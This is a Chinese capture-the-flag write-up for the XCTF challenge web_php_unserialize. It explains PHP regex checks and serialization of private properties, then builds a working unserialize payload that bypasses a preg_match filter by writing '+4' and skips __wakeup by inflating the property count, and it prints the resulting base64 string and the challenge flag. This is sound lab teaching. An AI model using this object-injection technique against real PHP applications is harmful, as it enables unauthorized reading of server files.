攻防世界web_php_unserialize题解
攻防世界web_php_unserialize题解
前置知识
正则表达式
/[oc]就是正则表达式的意思
\d: 匹配一个数字字符。等价于 [0-9]。
+: 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i: 表示匹配的时候不区分大小写
preg_match函数
参考:https://www.runoob.com/php/php-preg_match.html
preg_match 函数用于执行一个正则表达式匹配。
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
$pattern: 要搜索的模式,字符串形式。
$subject: 输入字符串。
$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
$flags:flags 可以被设置为以下标记值:
1.PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
2.offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。
preg_match的返回值为0(未匹配)或1。
一般来说preg_match('/[oc]:\d+:/i', $var)是用来检查是否被序列化的,一般的绕过方法是在第一个数字前加一个'+',具体原因参考:https://www.phpbug.cn/archives/32.html
不同修饰符序列化后的值差异
访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示:
public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置
特别注意的是,因为浏览器会自动解码\x00,但实际base64编码是需要加上\x00的,所以最后这个base64编码需要使用php函数才有效(简单来说都在php环境中使用)
wakeup绕过
https://www.cnblogs.com/king-kb/p/15647685.html 的unserialize3中的题解有讲
题目详解
进入题目环境,看到源码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
先分析主函数部分
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
isset检查是否输入var,然后对var进行base64解码。
preg_match进行正则表达式匹配。
全部绕过后会对var进行一次反序列化(会调用__wakeup)。
接下来分析类
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
定义了一个private属性变量,分析__wakeup发现它强制将file的值改为index.php同时告知我们flag在fl4g.php中。
明确目标:1、绕过base64解码。2、绕过preg_match的正则匹配。3、绕过__wakeup方法。
写一个脚本
<?php
class Demo
{
private $file = 'fl4g.php';
}
$a=serialize(new Demo);
echo $a;
$a=str_replace('1:', '2:', $a);
echo $a;
$a=str_replace('4:', '+4:', $a);
echo $a;
$a=base64_encode($a);
echo $a;
?>
运行结果
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
最后得到flag。
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
仍存在的一些问题
在数字前加+绕过preg_match判断
在这篇博客中https://www.phpbug.cn/archives/32.html 有提到
yy17:
yych = *++YYCURSOR;
if (yybm[0+yych] & 128) {
goto yy20;
}
if (yych == '+') goto yy19;
yy19:
yych = *++YYCURSOR;
if (yybm[0+yych] & 128) {
goto yy20;
}
goto yy18;
大致意思为,如果判断下一位字符是数字就goto yy20,如果是’+'就goto yy19,yy19则是对下一位字符的判断,如果下一位字符是数字,则继续goto yy20,如果不是则直接退出,那么
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
第二个式子的+不应该会被绕过吗?是如何实现的终止判断?
private属性的序列化
private属性序列化后在其属性名前后会多出/x00,这个东西会自动被网站过滤掉不显示,那为什么不能在base64加密前手模上去呢?(试了试,没成功)